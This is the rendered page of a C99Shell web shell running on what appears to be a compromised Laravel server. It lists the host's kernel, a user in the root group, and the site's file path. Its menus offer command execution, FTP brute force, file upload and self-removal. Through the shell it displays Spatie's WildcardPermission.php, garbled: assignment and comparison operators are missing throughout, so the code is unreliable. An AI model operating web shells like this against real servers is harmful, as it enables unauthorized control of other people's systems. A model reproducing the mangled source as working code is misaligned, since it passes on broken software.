!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/spatie/laravel-permission/src/   drwxr-xr-x
Free 28.59 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WildcardPermission.php (2.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Permission;

use 
Illuminate\Support\Collection;
use 
Spatie\Permission\Exceptions\WildcardPermissionNotProperlyFormatted;

class 
WildcardPermission
{
    
/** @var string */
    
const WILDCARD_TOKEN '*';

    
/** @var string */
    
const PART_DELIMITER '.';

    
/** @var string */
    
const SUBPART_DELIMITER ',';

    
/** @var string */
    
protected $permission;

    
/** @var Collection */
    
protected $parts;

    
/**
     * @param string $permission
     */
    
public function __construct(string $permission)
    {
        
$this->permission $permission;
        
$this->parts collect();

        
$this->setParts();
    }

    
/**
     * @param string|WildcardPermission $permission
     *
     * @return bool
     */
    
public function implies($permission): bool
    
{
        if (
is_string($permission)) {
            
$permission = new self($permission);
        }

        
$otherParts $permission->getParts();

        
$i 0;
        foreach (
$otherParts as $otherPart) {
            if (
$this->getParts()->count() - $i) {
                return 
true;
            }

            if (! 
$this->parts->get($i)->contains(self::WILDCARD_TOKEN)
                && ! 
$this->containsAll($this->parts->get($i), $otherPart)) {
                return 
false;
            }

            
$i++;
        }

        for (
$i$i $this->parts->count(); $i++) {
            if (! 
$this->parts->get($i)->contains(self::WILDCARD_TOKEN)) {
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * @param Collection $part
     * @param Collection $otherPart
     *
     * @return bool
     */
    
protected function containsAll(Collection $partCollection $otherPart): bool
    
{
        foreach (
$otherPart->toArray() as $item) {
            if (! 
$part->contains($item)) {
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * @return Collection
     */
    
public function getParts(): Collection
    
{
        return 
$this->parts;
    }

    
/**
     * Sets the different parts and subparts from permission string.
     *
     * @return void
     */
    
protected function setParts(): void
    
{
        if (empty(
$this->permission) || $this->permission == null) {
            throw 
WildcardPermissionNotProperlyFormatted::create($this->permission);
        }

        
$parts collect(explode(self::PART_DELIMITER$this->permission));

        
$parts->each(function ($item$key) {
            
$subParts collect(explode(self::SUBPART_DELIMITER$item));

            if (
$subParts->isEmpty() || $subParts->contains('')) {
                throw 
WildcardPermissionNotProperlyFormatted::create($this->permission);
            }

            
$this->parts->add($subParts);
        });

        if (
$this->parts->isEmpty()) {
            throw 
WildcardPermissionNotProperlyFormatted::create($this->permission);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--